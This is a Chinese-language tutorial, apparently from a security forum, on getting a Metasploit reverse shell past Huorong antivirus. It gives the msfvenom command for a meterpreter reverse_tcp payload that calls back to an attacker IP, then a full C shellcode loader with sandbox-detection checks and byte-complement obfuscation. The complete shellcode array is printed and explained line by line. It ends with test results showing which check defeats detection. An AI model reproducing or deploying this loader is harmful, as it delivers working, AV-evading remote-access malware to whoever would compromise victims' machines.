通过混淆shellcode和反沙箱绕过火绒上线metasploit。
0x00 导读
通过反沙箱与混淆shellcode绕过火绒上线metasploit。
环境:
kali:攻击者
win10:受害者
编译器:Virtual Studio 2022
杀软:火绒5.0.67.2
0x01 基础知识
沙箱是啥
百度对沙箱的介绍:沙箱(网络编程虚拟执行环境)_百度百科 (baidu.com)
我对沙箱的理解:它是一个虚拟的系统,我们写的程序可以在这个系统里运行,它存在的作用是来帮助我们判断是不是可疑程序,因为不管你是什么东西跑起来看它干了什么事就知道了嘛。
0x02 生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.225.130 lport=6666 -f c
还是用msfvenom
工具生成shellcode,-p参数是回连的载荷这里是32位的因为兼容性好一些,lhost是shellcode执行后回连的ip,这里是kali的ip,lport是要回连到哪一个端口上,-f参数是生成木马的类型。
0x03 代码解释与反沙箱思路
上面说过沙箱是一个虚拟的系统环境,只是用来检测恶意程序的,并不会考虑到用户正常的需求比如打游戏这些,所以沙箱的配置不会像我们的真实系统那么高,这样的话,我们可以通过判断,当前环境的硬盘大小,处理器的个数,系统的运行内存来确定当前程序是不是在沙箱中运行的,也可通过检测鼠标键盘等硬件设备来判断。
现在思路已经讲过了下面我们来看具体的代码流程和代码的实现。
代码流程:通过调用Windows Api来判断当前环境是不是沙箱->如果不是就对shellcode进行取反->然后再对取反的结果再取反还原我们的shellcode->载入内存->修改内存块权限并执行这块内存
下面是完整的代码。
#include <stdio.h>
#include <Windows.h>
int main()
{
DWORD StartTime = GetTickCount();
if (StartTime > 60000)
{
SYSTEM_INFO systeminfo = { 0 };
GetSystemInfo(&systeminfo);
DWORD CpuCount = systeminfo.dwNumberOfProcessors;
if (CpuCount >= 4)
{
_MEMORYSTATUSEX Memory = { 0 };
Memory.dwLength = sizeof(Memory);
GlobalMemoryStatusEx(&Memory);
DWORD MemorySize = Memory.ullAvailPhys;
if (MemorySize >= 66339072)
{
TCHAR DiskName[512] = { 0 };
GetLogicalDriveStrings(sizeof(DiskName), DiskName);
DWORD DiskBytes = 0, DiskSpace = 0, DiskSpace2 = 0;
GetDiskFreeSpaceEx(DiskName, (PULARGE_INTEGER)&DiskBytes, (PULARGE_INTEGER)&DiskSpace, (PULARGE_INTEGER)&DiskSpace2);
if (DiskBytes >= 97785600)
{
if (malloc(10485760))
{
char buf[] =
"\xff\xee\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"//ff=fc,ee=e8
"\x0c\x8b\x52\x14\x89\xe5\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x57\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe1\x82\x68\x02"
"\x00\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
char buf2[sizeof(buf)] = { 0 };
char buf3[sizeof(buf)] = { 0 };
for (int s = 0; s < sizeof(buf); s++)
{
buf2[s] = ~buf[s];
}
for (int s = 0; s < sizeof(buf); s++)
{
buf3[s] = ~buf2[s];
}
buf3[0] = 0xfc;
buf3[1] = 0xe8;
char* exec = (char*)malloc(sizeof(buf));
CopyMemory(exec, buf3, sizeof(buf));
DWORD a = 0;
VirtualProtect(exec, sizeof(buf), PAGE_EXECUTE_READWRITE, &a);
((char(*)())exec)();
}
}
}
}
}
}
判断系统运行时间
因为沙箱不会一直在运行,只是在我们使用它的时候才会开启这个环境,所以我们可以通过判断系统的运行时间来判断是不是沙箱。
DWORD StartTime = GetTickCount();
代码解释:定义一个变量用于接收GetTickCount()
函数的返回值,这个函数功能是获取从系统启动到现在的时间,单位是毫秒,
if (StartTime > 60000)
判断系统启动时间大不大与这个值,如果条件为真就执行if
语句下的代码。
判断处理器数量
SYSTEM_INFO systeminfo = { 0 };
这里定义一个SYSTEM_INFO
类型的结构体,用来存储系统相关信息比如处理器的类型,处理器数量,页面的大小等信息。
GetSystemInfo(&systeminfo);
这个函数功能是获取系统信息,参数是上面定义的结构体的地址,也就是说通过这个函数获取到的信息,保存到上面这个结构体里。
DWORD CpuCount = systeminfo.dwNumberOfProcessors;
定义一个变量用来接收dwNumberOfProcessors
成员的值,这个成员存放的是处理器的数量。
if (CpuCount >= 4)
这里通过判断处理器数量大于或等于4如果符合条件就执行下面代码,为什么要判断处理器的数量上面已经说过了,只是用于判断是不是在沙箱里。
判断系统内存大小
_MEMORYSTATUSEX Memory = { 0 };
还是定义一个结构体,_MEMORYSTATUSEX
类型,用于存储物理内存与虚拟内存相关信息。
Memory.dwLength = sizeof(Memory);
给结构体成员dwLength
复制这个成员代表这个结构体的大小,单位是字节。
GlobalMemoryStatusEx(&Memory);
这个函数用于获取系统的内存信息,参数是一个指针指向上面定义的结构体即可,就是通过这个函数获取到的信息,放到_MEMORYSTATUSEX
类型的结构体里。
DWORD MemorySize = Memory.ullAvailPhys;
定义一个变量用来接收ullAvailPhys
成员的值这个成员代表可用物理内存的大小,单位是字节。
if (MemorySize >= 66339072)
判断物理内存的大小大于或等于这个值(这里只是随便写的一个值,可以根据情况做修改),如果符合条件就执行下面的代码。
判断磁盘大小
TCHAR DiskName[512] = { 0 };
定义一个TCHAR
类型的数组用于存储驱动器根路径。
GetLogicalDriveStrings(sizeof(DiskName), DiskName);
函数功能,用于获取驱动器,并返回驱动器根路径,第一个参数是缓冲区大小,第二个参数是指向缓冲区的指针。
DWORD DiskBytes = 0, DiskSpace = 0, DiskSpace2 = 0;
定义三个DWORD
类型的变量用于存储磁盘相关信息。
GetDiskFreeSpaceEx(DiskName,(PULARGE_INTEGER)&DiskBytes, (PULARGE_INTEGER)&DiskSpace, (PULARGE_INTEGER)&DiskSpace2);
这个函数用于获取磁盘容量相关信息,第一个参数是磁盘目录,也就是上面说的驱动器根路径,第二个参数是该磁盘可用字节数,第三个参数是磁盘一共有多大,第四个参数是磁盘上空闲的空间大小,还是以字节为单位。
if (DiskBytes >= 97785600)
判断磁盘可用空间大于或等于这个值,如果条件成立就执行下面的代码。
if (malloc(10485760))
分配一块内存,如果内存分配失败则会返回NULL
分配成功则返回一个地址。
至此已经把反沙箱的代码解释完了,可能有些简陋,如果又更好的思路欢迎评论,下面来看对shellcode
做取反的代码。
取反运算解释
取反运算符:~
也就是tab
键上面那个键。
取反是逻辑运算的一种,就是把1变成0,0变成1,
char buf[] =
"\xff\xee\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"//ff=fc,ee=e8
"\x0c\x8b\x52\x14\x89\xe5\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x57\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe1\x82\x68\x02"
"\x00\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
上面是我们生成的shellcode。
char buf2[sizeof(buf)] = { 0 };
char buf3[sizeof(buf)] = { 0 };
这里定义两个数组,并全部初始化为0,一个用于存储取反后的shellcode,一个用于存储还原的shellcode。
for (int s = 0; s < sizeof(buf); s++)
{
buf2[s] = ~buf[s];
}
这行代码大致意思是,循环数组中的shellcode,并一个一个的对它们进行取反操作,并将取反的结果存放至buf2
的数组,循环条件是数组的大小。
for (int s = 0; s < sizeof(buf); s++)
{
buf3[s] = ~buf2[s];
}
这行代码功能是还原我们取反后的shellcode,还是循环遍历数组中的shellcode,然后依次做取反操作。
buf3[0] = 0xfc;
buf3[1] = 0xe8;
注意因为还原后的shellcode有一些字符被我们改过了,所以这里需要再改过来,也就是把ff
改成fc
和ee
修改为e8
。
加载shellcode到内存
后面这些就落入俗套了,就是申请块内存然后修改内存的属性为可执行,然后函数指针执行。
char* exec = (char*)malloc(sizeof(buf));
定义一个char*类型的指针来指向malloc
函数申请的内存,malloc
函数是申请一块内存,只有一个参数,就是申请内存大小,这里用sizeof(buf)
来计算shellcode的大小。
CopyMemory(exec, buf3, sizeof(buf));
这个函数功能是,把shellcode复制到内存里,功能和memcpy
函数一样,第一个参数是拷贝到哪里,第二个参数是从哪里拷贝数据(数据来源),第三个参数是拷贝多少字节。
DWORD a = 0;
VirtualProtect(exec, sizeof(buf), PAGE_EXECUTE_READWRITE, &a);
DWORD a=0
用于定义一个变量,用于存放内存的原始属性,供VirtualProtect
函数使用。
VirtualProtect
函数是修改内存块的属性,第一个参数是从哪里修改,第二个是修改大的内存,第三个参数是要修改成什么属性PAGE_EXECUTE_READWRITE
是可读可写可执行,最后一个参数,内存原始的属性保存的地址,也就是上面定义的变量地址。
((char(*)())exec)();
定义了一个函数指针,来执行这块内存,函数指针其实就是一个指向函数的指针,可以通过这个指针来调用我们的函数,也可以使用内联汇编来调用这块内存。
__asm
{
call exec;
}
call其实就是执行这个函数,关于这个指令就不多说了。
0x04 结果
360
0x05 总结
过程分析
这里来测试一下,看是哪一部分代码绕过了杀软的沙箱,我们先注释掉反沙箱的代码生成一下子,可以看到直接被火绒查出来了,这里对shellcode进行了取反操作。但还是被查杀了。
我们继续尝试,只判断系统运行时间看会不会被杀,可以看到依然被杀了,继续尝试判断处理器的数量,看会不会查杀,这次判断了处理器的数量就没有被杀也可以上线(这里判断处理器数量是4,现在电脑处理器数量基本上都是4或以上的吧)。
判断处理器数量之后就不会被杀
我们把判断处理器数量的条件改成判断一个或以上的处理器,哎嘿就被杀了,这里就可以印证上面说的沙箱配置会比真实的系统差一些。
到了这里本文就快结束了,讲的内容主要是通过反沙箱与混淆来绕过火绒的查杀(主要讲了混淆),由于作者水平有限,文章内容如有错误欢迎指出。
- 本文作者: ring3
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1500
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!